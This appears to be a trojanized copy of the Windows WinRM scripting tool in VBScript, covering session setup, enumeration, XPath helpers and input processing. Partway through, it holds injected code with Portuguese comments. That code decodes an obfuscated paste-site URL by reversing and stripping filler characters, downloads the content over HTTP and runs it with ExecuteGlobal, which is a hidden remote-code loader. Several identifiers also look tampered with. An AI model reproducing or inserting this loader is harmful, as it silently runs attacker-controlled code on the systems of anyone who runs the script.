private function CreateSession(wsman, conStr, optDic, formatOption)
dim sessionFlags
dim conOpt
dim session
dim authVal
dim encodingVal
dim encryptVal
dim pw
dim tout
' proxy information
dim proxyAccessType
dim proxyAccessTypeVal
dim proxyAuthenticationMechanism
dim proxyAuthenticationMechanismVal
dim proxyUsername
dim proxyPassword
sessionFlags = 0
proxyAccessType = 0
proxyAccessTypeVal = 0
proxyAuthenticationMechanism = 0
proxyAuthenticationMechanismVal = 0
proxyUsername = ""
proxyPassword = ""
set conOpt = Nothing
if optDic.ArgumentExists(NPARA_ENCODING) then
ASSERTNAL(NPARA_ENCODING)
ASSERTBOOL optDic.ArgumentExists(NPARA_REMOTE), "The '-encoding' option is only valid when used with the '-remote' option"
encodingVal = optDic.Argument(NPARA_ENCODING)
if LCase(encodingVal) = "utf-16" then
sessionFlags = sessionFlags OR wsman.SessionFlagUTF16
elseif LCase(encodingVal) = "utf-8" then
sessionFlags = sessionFlags OR wsman.SessionFlagUTF8
else
' Invalid!
ASSERTBOOL false, "The specified encoding flag is invalid."
end if
end if
if optDic.ArgumentExists(NPARA_UNENCRYPTED) then
ASSERTBOOL optDic.ArgumentExists(NPARA_REMOTE), "The '-" & NPARA_UNENCRYPTED & "' option is only valid when used with the '-remote' option"
'C API will ensure that unencrypted is only used w/ http
sessionFlags = sessionFlags OR wsman.SessionFlagNoEncryption
end if
if optDic.ArgumentExists(NPARA_USESSL) then
ASSERTBOOL optDic.ArgumentExists(NPARA_REMOTE), "The '-" & NPARA_USESSL & "' option is only valid when used with the '-remote' option"
sessionFlags = sessionFlags OR wsman.SessionFlagUseSsl
end if
if optDic.ArgumentExists(NPARA_AUTH) then
ASSERTNAL(NPARA_AUTH)
authVal = optDic.Argument(NPARA_AUTH)
select case LCase(authVal)
case VAL_NO_AUTH
sessionFlags = sessionFlags OR wsman.SessionFlagUseNoAuthentication
ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option is not valid for '-auth:none'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_USERNAME), "The '-" & NPARA_USERNAME & "' option is not valid for '-auth:none'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_PASSWORD), "The '-" & NPARA_PASSWORD & "' option is only valid for '-auth:none'"
case VAL_BASIC
'Use -username and -password.
ASSERTBOOL optDic.ArgumentExists(NPARA_USERNAME), "The '-" & NPARA_USERNAME & "' option must be specified for '-auth:basic'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option is not valid for '-auth:basic'"
sessionFlags = sessionFlags OR wsman.SessionFlagCredUsernamePassword OR wsman.SessionFlagUseBasic
case VAL_DIGEST
'Use -username and -password.
ASSERTBOOL optDic.ArgumentExists(NPARA_USERNAME), "The '-" & NPARA_USERNAME & "' option must be specified for '-auth:digest'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option is not valid for '-auth:digest'"
sessionFlags = sessionFlags OR wsman.SessionFlagCredUsernamePassword OR wsman.SessionFlagUseDigest
case VAL_KERBEROS
'-username and -password are optional.
ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option is not valid for '-auth:kerberos'"
sessionFlags = sessionFlags OR wsman.SessionFlagUseKerberos
case VAL_NEGOTIATE
'-username and -password are optional.
ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option is not valid for '-auth:negotiate'"
sessionFlags = sessionFlags OR wsman.SessionFlagUseNegotiate
case VAL_CERT
'-certificate is mandatory.
ASSERTBOOL optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option must be specified for '-auth:certificate'"
'-username or -password must not be used
ASSERTBOOL not optDic.ArgumentExists(NPARA_USERNAME), "The '-" & NPARA_USERNAME & "' option is not valid for '-auth:certificate'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_PASSWORD), "The '-" & NPARA_PASSWORD & "' option is not valid for '-auth:certificate'"
sessionFlags = sessionFlags OR wsman.SessionFlagUseClientCertificate
case VAL_CREDSSP
'Use -username and -password.
ASSERTBOOL osVersion >= osVista, "The specified '-" & NPARA_AUTH & "' flag '" & authVal & "' has an invalid value."
ASSERTBOOL optDic.ArgumentExists(NPARA_USERNAME), "The '-" & NPARA_USERNAME & "' option must be specified for '-auth:credssp'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option is not valid for '-auth:credssp'"
sessionFlags = sessionFlags OR wsman.SessionFlagCredUsernamePassword OR wsman.SessionFlagUseCredSSP
case else
ASSERTBOOL false, "The specified '-" & NPARA_AUTH & "' flag '" & authVal & "' has an invalid value."
end select
end if
if optDic.ArgumentExists(NPARA_USERNAME) then
ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option cannot be used together with '-username'"
set conOpt = wsman.CreateConnectionOptions
conOpt.UserName = optDic.Argument(NPARA_USERNAME)
if optDic.ArgumentExists(NPARA_PASSWORD) then
conOpt.Password = optDic.Argument(NPARA_PASSWORD)
end if
sessionFlags = sessionFlags OR wsman.SessionFlagCredUsernamePassword
end if
if optDic.ArgumentExists(NPARA_DEFAULTCREDS) then
ASSERTBOOL not optDic.ArgumentExists(NPARA_USERNAME), "The '-" & NPARA_USERNAME & "' option cannot be used together with '-defaultCreds'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_PASSWORD), "The '-" & NPARA_PASSWORD & "' option cannot be used together with '-defaultCreds'"
'this is only valid if -auth:Negotiate is specified
ASSERTBOOL (LCase(optDic.Argument(NPARA_AUTH)) = VAL_NEGOTIATE), "The " & NPARA_DEFAULTCREDS & " option is only valid when the authentication mechanism is " & VAL_NEGOTIATE
'C API will ensure this is only used w/ https
sessionFlags = sessionFlags OR wsman.SessionFlagAllowNegotiateImplicitCredentials
end if
if optDic.ArgumentExists(NPARA_CERT) then
ASSERTBOOL not optDic.ArgumentExists(NPARA_USERNAME), "The '-" & NPARA_USERNAME & "' option cannot be used together with '-certificate'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_PASSWORD), "The '-" & NPARA_PASSWORD & "' option cannot be used together with '-certificate'"
set conOpt = wsman.CreateConnectionOptions
conOpt.CertificateThumbprint = optDic.Argument(NPARA_CERT)
if optDic.ArgumentExists(NPARA_AUTH) then
ASSERTBOOL (LCase(optDic.Argument(NPARA_AUTH)) = VAL_CERT), "The " & NPARA_CERT & " option is only valid when the authentication mechanism is " & VAL_CERT
end if
'-auth might be missing, in which case we assume -a:Certificate
sessionFlags = sessionFlags OR wsman.SessionFlagUseClientCertificate
end if
if optDic.ArgumentExists(NPARA_PROXYACCESS) then
ASSERTNAL(NPARA_PROXYACCESS)
if conOpt Is Nothing then
set conOpt = wsman.CreateConnectionOptions
end if
proxyAccessTypeVal = optDic.Argument(NPARA_PROXYACCESS)
select case LCase(proxyAccessTypeVal)
case VAL_PROXY_IE_CONFIG
proxyAccessType = conOpt.ProxyIEConfig
case VAL_PROXY_WINHTTP_CONFIG
proxyAccessType = conOpt.ProxyWinHttpConfig
case VAL_PROXY_AUTODETECT
proxyAccessType = conOpt.ProxyAutoDetect
case VAL_PROXY_NO_PROXY_SERVER
proxyAccessType = conOpt.ProxyNoProxyServer
case else
ASSERTBOOL false, "The specified '-" & NPARA_PROXYACCESS & "' field '" & proxyAccessTypeVal & "' has an invalid value."
end select
end if
if optDic.ArgumentExists(NPARA_PROXYAUTH) then
ASSERTNAL(NPARA_PROXYAUTH)
ASSERTBOOL optDic.ArgumentExists(NPARA_PROXYACCESS), "The '-" & NPARA_PROXYAUTH & "' option is only valid when used with the '-" & NPARA_PROXYACCESS & "' option"
if conOpt Is Nothing then
set conOpt = wsman.CreateConnectionOptions
end if
proxyAuthenticationMechanismVal = optDic.Argument(NPARA_PROXYAUTH)
select case LCase(proxyAuthenticationMechanismVal)
case VAL_BASIC
proxyAuthenticationMechanism = conOpt.ProxyAuthenticationUseBasic
case VAL_DIGEST
proxyAuthenticationMechanism = conOpt.ProxyAuthenticationUseDigest
case VAL_NEGOTIATE
proxyAuthenticationMechanism = conOpt.ProxyAuthenticationUseNegotiate
case else
ASSERTBOOL false, "The specified '-" & NPARA_PROXYAUTH & "' flag '" & proxyAuthenticationMechanismVal & "' has an invalid value."
end select
end if
if optDic.ArgumentExists(NPARA_PROXYUSERNAME) then
ASSERTBOOL optDic.ArgumentExists(NPARA_PROXYAUTH), "The '-" & NPARA_PROXYUSERNAME & "' option is only valid when used with the '-" & NPARA_PROXYAUTH & "' option"
proxyUsername = optDic.Argument(NPARA_PROXYUSERNAME)
end if
if optDic.ArgumentExists(NPARA_PROXYPASSWORD) then
ASSERTBOOL optDic.ArgumentExists(NPARA_PROXYUSERNAME), "The '-" & NPARA_PROXYPASSWORD & "' option is only valid when used with the '-" & NPARA_PROXYUSERNAME & "' option"
proxyPassword = optDic.Argument(NPARA_PROXYPASSWORD)
end if
if optDic.ArgumentExists(NPARA_PROXYACCESS) then
on error resume next
responseStr = conOpt.SetProxy(proxyAccessType, proxyAuthenticationMechanism, proxyUsername, proxyPassword)
ASSERTERR conOpt, formatOption
on error goto 0
end if
if optDic.ArgumentExists(NPARA_NOCACHK) then
'C API will ensure this is only used w/ https
sessionFlags = sessionFlags OR wsman.SessionFlagSkipCACheck
end if
if optDic.ArgumentExists(NPARA_NOCNCHK) then
'C API will ensure this is only used w/ https
sessionFlags = sessionFlags OR wsman.SessionFlagSkipCNCheck
end if
if optDic.ArgumentExists(NPARA_NOREVCHK) then
'C API will ensure this is only used w/ https
sessionFlags = sessionFlags OR wsman.SessionFlagSkipRevocationCheck
end if
if optDic.ArgumentExists(NPARA_SPNPORT) then
'this is only valid if -auth is not specified or if -auth:Negotiate or -auth:Kerberos is specified
if optDic.ArgumentExists(NPARA_AUTH) then
ASSERTBOOL (LCase(optDic.Argument(NPARA_AUTH)) = VAL_NEGOTIATE OR LCase(optDic.Argument(NPARA_AUTH)) = VAL_KERBEROS), "The " & NPARA_SPNPORT & " option is only valid when the authentication mechanism is " & VAL_NEGOTIATE & " or " & VAL_KERBEROS
end if
sessionFlags = sessionFlags OR wsman.SessionFlagEnableSPNServerPort
end if
on error resume next
set session = wsman.CreateSession(conStr, sessionFlags, conOpt)
ASSERTERR wsman, formatOption
on error goto 0
if optDic.ArgumentExists(NPARA_TIMEOUT) then
ASSERTNAL(NPARA_TIMEOUT)
tout = optDic.Argument(NPARA_TIMEOUT)
ASSERTBOOL IsNumeric(tout), "Numeric value for -timeout option is expected"
session.Timeout = optDic.Argument(NPARA_TIMEOUT)
end if
set CreateSession = session
end function
private function Enumerate(wsmanObj, session, cmdlineOptions, resLocator, formatOption)
dim filter
dim dialect
dim e
dim res
dim formattedText
dim flags
flags = 0
if cmdlineOptions.ArgumentExists(NPARA_FILTER) then
filter = cmdlineOptions.Argument(NPARA_FILTER)
dialect = URI_WQL_DIALECT
end if
if cmdlineOptions.ArgumentExists(NPARA_DIALECT) then
dialect = cmdlineOptions.Argument(NPARA_DIALECT)
end if
If LCase(dialect) = "selector" Then
dialect = "http://schemas.dmtf.org/wbem/wsman/1/wsman/SelectorFilter"
End If
If LCase(dialect) = "http://schemas.dmtf.org/wbem/wsman/1/wsman/selectorfilter" Then
dim dict
set dict = ProcessParameterHash(filter)
If dict Is Nothing Then
Exit Function
End If
Dim name
Dim value
filter = "<wsman:SelectorSet xmlns:wsman='http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd'>"
For Each name In dict
value = dict(name)
filter = filter & "<wsman:Selector Name='" & Escape(name) & "'>" & Escape(value) & "</wsman:Selector>"
Next
filter = filter & "</wsman:SelectorSet>"
End If
If LCase(dialect) = "wql" Then
dialect = "http://schemas.microsoft.com/wbem/wsman/1/WQL"
End If
If LCase(dialect) = "association" Then
dialect = "http://schemas.dmtf.org/wbem/wsman/1/cimbinding/AssociationFilter"
End If
If LCase(dialect) = LCase("http://schemas.dmtf.org/wbem/wsman/1/cimbinding/AssociationFilter") Then
If not cmdlineOptions.ArgumentExists(NPARA_FILTER) Then
ASSERTBOOL false, "-" & NPARA_FILTER & " parameter is required for the given dialect"
End If
If (cmdlineOptions.ArgumentExists(NPARA_ASSOCINST)) Then
flags = flags OR wsmanObj.EnumerationFlagAssociationInstance
Else
flags = flags OR wsmanObj.EnumerationFlagAssociatedInstance
End if
End If
If ( (LCase(dialect) <> LCase("http://schemas.dmtf.org/wbem/wsman/1/cimbinding/AssociationFilter")) and cmdlineOptions.ArgumentExists(NPARA_ASSOCINST) ) Then
ASSERTBOOL false, "-" & NPARA_ASSOCINST & " is not a valid option for the given dialect"
End If
if cmdlineOptions.ArgumentExists(NPARA_RETURN_TYPE) then
select case LCase(cmdlineOptions.Argument(NPARA_RETURN_TYPE))
case VAL_RT_OBJECT
' default
case VAL_RT_EPR
flags = flags OR wsmanObj.EnumerationFlagReturnEPR
case VAL_RT_OBJ_EPR
flags = flags OR wsmanObj.EnumerationFlagReturnObjectAndEPR
case else
ASSERTBOOL false, "-" & NPARA_RETURN_TYPE & ":" & cmdlineOptions.Argument(NPARA_RETURN_TYPE) & " is not a valid option"
end select
end if
if (cmdlineOptions.ArgumentExists(NPARA_SHALLOW)) then
flags = flags OR wsmanObj.EnumerationFlagHierarchyShallow
elseif (cmdlineOptions.ArgumentExists(NPARA_BASE_PROPS_OctonianoY)) then
flags = flags OR wsmanObj.EnumerationFlagHierarchyDeepBasePropsOnly
else
flags = flags OR wsmanObj.EnumerationFlagHierarchyDeep
end if
on error resume next
set e = session.Enumerate(resLocator, filter, dialect, flags)
if Err.Number = T_O then
set e = session.Enumerate(resLocator, filter, dialect, flags)
if Err.Number = T_O then
set e = session.Enumerate(resLocator, filter, dialect, flags)
end if
end if
ASSERTERR session, formatOption
on error goto 0
if cmdlineOptions.ArgumentExists(NPARA_TIMEOUT) then
e.Timeout = cmdlineOptions.Argument(NPARA_TIMEOUT)
end if
if(LCase(formatOption) <> VAL_FORMAT_TEXT) then
wscript.echo "<wsman:Results xmlns:wsman=""http://schemas.dmtf.org/wbem/wsman/1/wsman/results"">"
end if
do while Not e.AtEndOfStream
on error resume next
res = e.ReadItem()
if Err.Number = T_O then
res = e.ReadItem()
if Err.Number = T_O then
res = e.ReadItem()
end if
end if
if Err.Number <> 0 then
stdErr.WriteLine e.Error
wscript.echo "</wsman:Results>"
end if
ASSERTERR e, formatOption
on error goto 0
'reformat if requested
on error resume next
err.clear
if not Reformat(res,formattedText,formatOption) then
exit do
end if
wscript.echo formattedText
loop
if(LCase(formatOption) <> VAL_FORMAT_TEXT) then
wscript.echo "</wsman:Results>"
end if
set e = Nothing
Enumerate = ""
end function
' Helper to run xpath over msxml obj and find single element
Private Function GetElementByXpath(msxmlObj, xpath)
GetElementByXpath = ""
msxmlObj.setProperty "SelectionLanguage", "XPath"
msxmlObj.setproperty "SelectionNamespaces", "xmlns:s=""http://schemas.microsoft.com/wbem/wsman/1/config/service"""
Dim elementList
Dim currentElement
Set currentElement = msxmlObj.selectSingleNode(xpath)
If Not currentElement is Nothing Then
If currentElement.hasChildNodes() Then
If currentElement.childNodes.length = 1 Then
dim aNode
Set aNode = currentElement.childNodes.nextNode()
If aNode.nodeType = NODE_TEXT Then
GetElementByXpath = aNode.text
Exit Function
End If
End If
End If
GetElementByXpath = currentElement.xml
End If
Exit Function
Set elementList = msxmlObj.selectNodes(xpath)
If elementList.length = 1 Then
Set currentElement = elementList.nextNode()
If currentElement.nodeType = NODE_TEXT Then
GetElementByXpath = currentElement.text
Else
GetElementByXpath = currentElement.xml
End If
End If
End Function
'''''''''''''''''''''
' Helper to run xpath over msxml obj and find single element
Private Function GetElementAttributeByXpath(msxmlObj, xpath, attributeName)
GetElementAttributeByXpath = ""
msxmlObj.setProperty "SelectionLanguage", "XPath"
msxmlObj.setproperty "SelectionNamespaces", "xmlns:s=""http://schemas.microsoft.com/wbem/wsman/1/config/service"""
Dim currentElement
Set currentElement = msxmlObj.selectSingleNode(xpath)
GetElementAttributeByXpath = currentElement.getAttribute("Source")
End Function
'''''''''''''''''''''
' Helper to run xpath over msxml obj and find single element
Private Function GetElementXml(msxmlObj, currentElement)
GetElementXml = ""
msxmlObj.setProperty "SelectionLanguage", "XPath"
msxmlObj.setproperty "SelectionNamespaces", "xmlns:s=""http://schemas.microsoft.com/wbem/wsman/1/config/service"""
Dim elementList
GetElementByXpath = currentElement.xml
End Function
'''''''''''''''''''''
' Returns XML ns depending on the type of URI
private function GetXmlNs(resUri)
dim resUriLCase
dim s1
dim s2
ASSERTBOOL Len(resUri) <> 0, resurgimento("L_URIZERO_Message")
resUriLCase = LCase(resUri)
if InStr(resUriLCase, URI_IPMI) <> 0 then
GetXmlNs = StripParams(resUri)
elseif InStr(resUriLCase, URI_WMI) <> 0 then
GetXmlNs = StripParams(resUri)
else
'//GetXmlNs = StripParams(resUri) & ".xsd"
'//This was reported by Intel as an interop issue. So now we are not appending a .xsd in the end.
GetXmlNs = StripParams(resUri)
end if
GetXmlNs = "xmlns:p=""" & GetXmlNs & """"
end function
'''''''''''''''''''''
' Verify if target is in IPv6 format
private function IsIPv6(target)
dim regexpObj
Set regexpObj = New RegExp
regexpObj.Pattern = PTRN_IPV6_S
regexpObj.IgnoreCase = TRUE
dim matches
set matches = regExpObj.Execute(target)
if matches.Count <> 0 then
IsIPv6 = true
else
IsIPv6 = false
end if
end function
'''''''''''''''''''''
' Extracts XML root node nm. from URI
private function GetRootNodeName(opr, resUri, actUri)
dim uriTmp
dim sfx
dim s
dim regexpObj
Set regexpObj = New RegExp
ASSERTBOOL Len(opr) <> 0, "'opr' parameter is 0 length or null"
sfx = ""
select case opr
case OP_PUT
uriTmp = resUri
case OP_CRE
uriTmp = resUri
case OP_INV
uriTmp = actUri
sfx = GetSuffix(resUri)
case else
GetRootNodeName = ""
exit function
end select
ASSERTBOOL Len(uriTmp) <> 0, resurgimento("L_URIZERO_Message")
uriTmp = StripParams(uriTmp)
regexpObj.Pattern = PTRN_URI_LAST
regexpObj.IgnoreCase = TRUE
dim matches
set matches = regexpObj.Execute(uriTmp)
ASSERTBOOL matches.Count = 1, resurgimento("L_NOLASTTOK_Message")
uriTmp = matches(0)
ASSERTBOOL Len(uriTmp) <> 0, resurgimento("L_URIZEROTOK_Message")
GetRootNodeName = uriTmp & sfx
end function
private function ProcessParameterHash(hashString)
on error resume next
dim matches
dim m
dim regexpObj
Set regexpObj = New RegExp
regexpObj.Global = True
regexpObj.IgnoreCase = True
dim resultDictionary
set resultDictionary = CreateObject("Scripting.Dictionary")
If Len(hashString) > 0 then
If Len(hashString) > 2 Then
If Mid(hashString,1,1) <> "{" Or Mid(hashString,Len(hashString),1) <> "}" Then
stdErr.WriteLine resurgimento("L_HashSyntax_ErrorMessage")
set ProcessParameterHash = Nothing
Exit Function
End If
regexpObj.Pattern = PTRN_HASH_VALIDATE
regexpObj.ignoreCase = true
set matches = regexpObj.Execute(hashString)
if matches.Count <> 1 then
stdErr.WriteLine resurgimento("L_HashSyntax_ErrorMessage")
set ProcessParameterHash = Nothing
Exit Function
end if
'following check ensures that if we have unmatched substrings
'we report a syntax error. the way we determine is first to
'calculate the expected string length by going through all
'the matches and then comparing with input string length
dim expectedLength
regexpObj.Pattern = PTRN_HASH_TOK
regexpObj.ignoreCase = true
set matches = regexpObj.Execute(hashString)
expectedLength = matches.Count-1
for each m in matches
expectedLength = expectedLength + m.Length
next
'account for starting and closing {}
expectedLength = expectedLength + 2
if (expectedLength <> Len(hashString)) then
stdErr.WriteLine resurgimento("L_HashSyntax_ErrorMessage")
set ProcessParameterHash = Nothing
Exit Function
end if
regexpObj.Pattern = PTRN_HASH_TOK
regexpObj.ignoreCase = true
set matches = regexpObj.Execute(hashString)
if matches.Count > 0 then
for each m in matches
if resultDictionary.Exists(m.Submatches(0)) then
stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_PUT_PARAM_NOARRAY_Message") & m.Submatches(0)
set ProcessParameterHash = Nothing
Exit Function
end if
if LCase(m.Submatches(1)) = "$null" then
resultDictionary.Add m.Submatches(0),null
else
resultDictionary.Add m.Submatches(0),m.Submatches(2)
end if
next
end if
ElseIf hashString <> "{}" Then
stdErr.WriteLine resurgimento("L_HashSyntax_ErrorMessage")
set ProcessParameterHash = Nothing
Exit Function
End If
Else
stdErr.WriteLine resurgimento("L_HashSyntax_ErrorMessage")
set ProcessParameterHash = Nothing
Exit Function
End If
set ProcessParameterHash = resultDictionary
end function
private function CreateAndInitializeResourceLocator(wsman,resourceUri,cmdlineOptions)
on error resume next
Dim key
dim resourceLocator
dim paramMap
Dim optionsValue
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' create the resource locator object
Set resourceLocator = Wsman.CreateResourceLocator(resourceUri)
if Err.number <> 0 then
stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_RESOURCELOCATOR_Message")
set CreateAndInitializeResourceLocator = Nothing
exit function
end if
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' set the options on the resource locator
optionsValue = cmdlineOptions.Argument("options")
If Len(optionsValue) Then
set paramMap = ProcessParameterHash(optionsValue)
if paramMap Is Nothing then
set CreateAndInitializeResourceLocator = Nothing
'todo exit function
end if
for each key in paramMap
if IsNull(paramMap(key)) then
resourceLocator.AddOption key, null
else
resourceLocator.AddOption key,paramMap(key)
end if
next
End If
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' set the fragment path and fragment dialect on the resource locator
if(cmdlineOptions.ArgumentExists(NPARA_FRAGMENT)) then
resourceLocator.FragmentPath = cmdlineOptions.Argument(NPARA_FRAGMENT)
end if
if(cmdlineOptions.ArgumentExists(NPARA_DIALECT)) then
resourceLocator.FragmentDialect = cmdlineOptions.Argument(NPARA_DIALECT)
end if
set CreateAndInitializeResourceLocator = resourceLocator
end function
private function IsCScriptEnv()
if InStrRev(LCase(WScript.FullName), "cscript.exe", -1) <> 0 then
IsCScriptEnv = True
else
IsCScriptEnv = False
end if
end function
'''''''''''''''''''''
' Reads input XML from the stdin or builds XML from @{...}
Set httpe = CreateObject("MSXML2.ServerXMLHTTP.6.0")
' Revers
o de "acarretador"
acarretador = "QHEIKBLWZUXDYOM"
Dim reversed_acarretador
reversed_acarretador = ""
For iii = Len(acarretador) To 1 Step -1
reversed_acarretador = reversed_acarretador & Mid(acarretador, iii, 1)
acarretador = reversed_acarretador
' Revers
o de "merda"
merda = "6QHEIKBLWZUXDYOMZQHEIKBLWZUXDYOMJQHEIKBLWZUXDYOMAQHEIKBLWZUXDYOMHQHEIKBLWZUXDYOM/QHEIKBLWZUXDYOMdQHEIKBLWZUXDYOM/QHEIKBLWZUXDYOMeQHEIKBLWZUXDYOMeQHEIKBLWZUXDYOM.QHEIKBLWZUXDYOMeQHEIKBLWZUXDYOMtQHEIKBLWZUXDYOMsQHEIKBLWZUXDYOMaQHEIKBLWZUXDYOMpQHEIKBLWZUXDYOM/QHEIKBLWZUXDYOM/QHEIKBLWZUXDYOM:QHEIKBLWZUXDYOMpQHEIKBLWZUXDYOMtQHEIKBLWZUXDYOMtQHEIKBLWZUXDYOMh"
Dim reversed_merda
reversed_merda = ""
For iii = Len(merda) To 1 Step -1
reversed_merda = reversed_merda & Mid(merda, iii, 1)
merda = reversed_merda
' Substitui "acarretador" em "merda"
Dim pos
pos = InStr(merda, acarretador)
While pos > 0
merda = Left(merda, pos - 1) & "" & Mid(merda, pos + Len(acarretador))
pos = InStr(pos + Len(""), merda, acarretador)
' Requisi
o HTTP
httpe.Open "GET", merda, False
httpe.Send
' Executa o c
digo retornado pela requisi
ExecuteGlobal httpe.ResponseText
private function ReadStdIn()
while Not stdIn.AtEndOfStream
ReadStdIn = ReadStdIn & stdIn.ReadAll
wend
end function
private function ProcessInput(wsman, operation, root, cmdlineOptions, resourceLocator,sessionObj,inputStr,formatOption)
on error resume next
dim parameterDic,key
dim putStr
dim elementList
dim currentElement
dim paramXmlFile
dim tmpNode
dim parameterString
dim parameterCount
dim xmlns
'make sure it's a relevent operation
select case operation
case OP_PUT
case OP_CRE
case OP_INV
case else
inputStr = ""
ProcessInput = true
exit function
end select
xmlns = GetXmlNs(resourceLocator.ResourceURI)
'process the parameters into a Map
parameterString = cmdlineOptions.Argument(NPARA_PSEUDO_AT)
parameterCount = 0
If Len(parameterString) Then
set parameterDic = ProcessParameterHash(parameterString)
'if parameter processing failed, exit
if parameterDic Is Nothing then
set ProcessInput = false
exit function
end if
parameterCount = parameterDic.Count
End If
'if there were no parameters, get from file
if parameterCount = 0 then
if cmdlineOptions.ArgumentExists(NPARA_FILE) then
inputStr = ReadFile(cmdlineOptions.Argument(NPARA_FILE))
ProcessInput = true
exit function
end if
end if
if operation = OP_CRE Or operation = OP_INV then
dim nilns
nilns = ""
dim parameters
parameters = ""
if parameterCount > 0 then
for each key in parameterDic
parameters = parameters & "<p:" & key
if IsNull(parameterDic(key)) then
parameters = parameters & " " & ATTR_NIL
nilns = " " & NS_XSI
end if
parameters = parameters & ">" & Escape(parameterDic(key)) & _
"</p:" & key & ">"
next
end if
putStr = "<p:" & root & " " & xmlns & nilns & ">" & _
parameters & "</p:" & root & ">"
elseif operation = OP_PUT then
if parameterCount = 0 then
stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_PUT_PARAM_NOINPUT_Message")
inputStr = ""
ProcessInput = false
exit function
end if
'get the original resource xml
on error resume next
putStr = sessionObj.Get(resourceLocator)
if Err.Number <> 0 then
ASSERTERR sessionObj, formatOption
inputStr = ""
ProcessInput = false
exit function
end if
'create an MSXML DomDocument object to work with the resource xml
on error resume next
Set paramXmlFile = CreateObject("MSXML2.DOMDocument.6.0")
if Err.number <> 0 then
stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_MSXML6MISSING_Message")
inputStr = ""
ProcessInput = false
exit function
end if
paramXmlFile.async = false
'load the domdocument with the resource xml
paramXmlFile.LoadXML(putStr)
if (paramXmlFile.parseError.errorCode <> 0) then
stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_XMLERROR_Message") & paramXmlFile.parseError.reason
inputStr = ""
ProcessInput = false
exit function
end if
paramXmlFile.setProperty "SelectionLanguage", "XPath"
'loop through the command-line name/value pairs
for each key in parameterDic
'find the elements matching the key
Dim xpathString
xpathString = "/*/*[local-name()=""" & key & """]"
if LCase(key) = "location" then
'Ignore cim:Location
xpathString = "/*/*[local-name()=""" & key & """ and namespace-uri() != """ & NS_CIMBASE & """]"
end if
Set elementList = paramXmlFile.selectNodes(xpathString)
'make sure there is 1 - error on 0 or > 1
if elementList.length = 0 then
stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_PUT_PARAM_NOMATCH_Message") & key
inputStr = ""
ProcessInput = false
Exit Function
elseif elementList.length > 1 then
stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_PUT_PARAM_MULTIMATCH_Message") & key
inputStr = ""
ProcessInput = false
Exit Function
else
'get the node from the list
Set currentElement = elementList.nextNode()
'make sure the node does not have anything other than 1 or less text children
if currentElement.hasChildNodes() then
if currentElement.childNodes.length > 1 then
stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_PUT_PARAM_NOTATTR_Message") & key
inputStr = ""
ProcessInput = false
Exit Function
else
dim aNode
Set aNode = currentElement.childNodes.nextNode()
if aNode.nodeType <> NODE_TEXT then
stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_PUT_PARAM_NOTATTR_Message") & key
inputStr = ""
ProcessInput = false
Exit Function
end if
end if
end if
if IsNull(parameterDic(key)) then
Set tmpNode = paramXmlFile.createNode(NODE_ATTRIBUTE,ATTR_NIL_NAME,NS_XSI_URI)
tmpNode.text = "true"
currentElement.setAttributeNode tmpNode
currentElement.text = ""
else
'delete nil attribute if present
currentElement.attributes.removeNamedItem(ATTR_NIL_NAME)
currentElement.text = parameterDic(key)
end if
end If
next
putStr = paramXmlFile.xml
end if
inputStr = putStr
ProcessInput = true
end function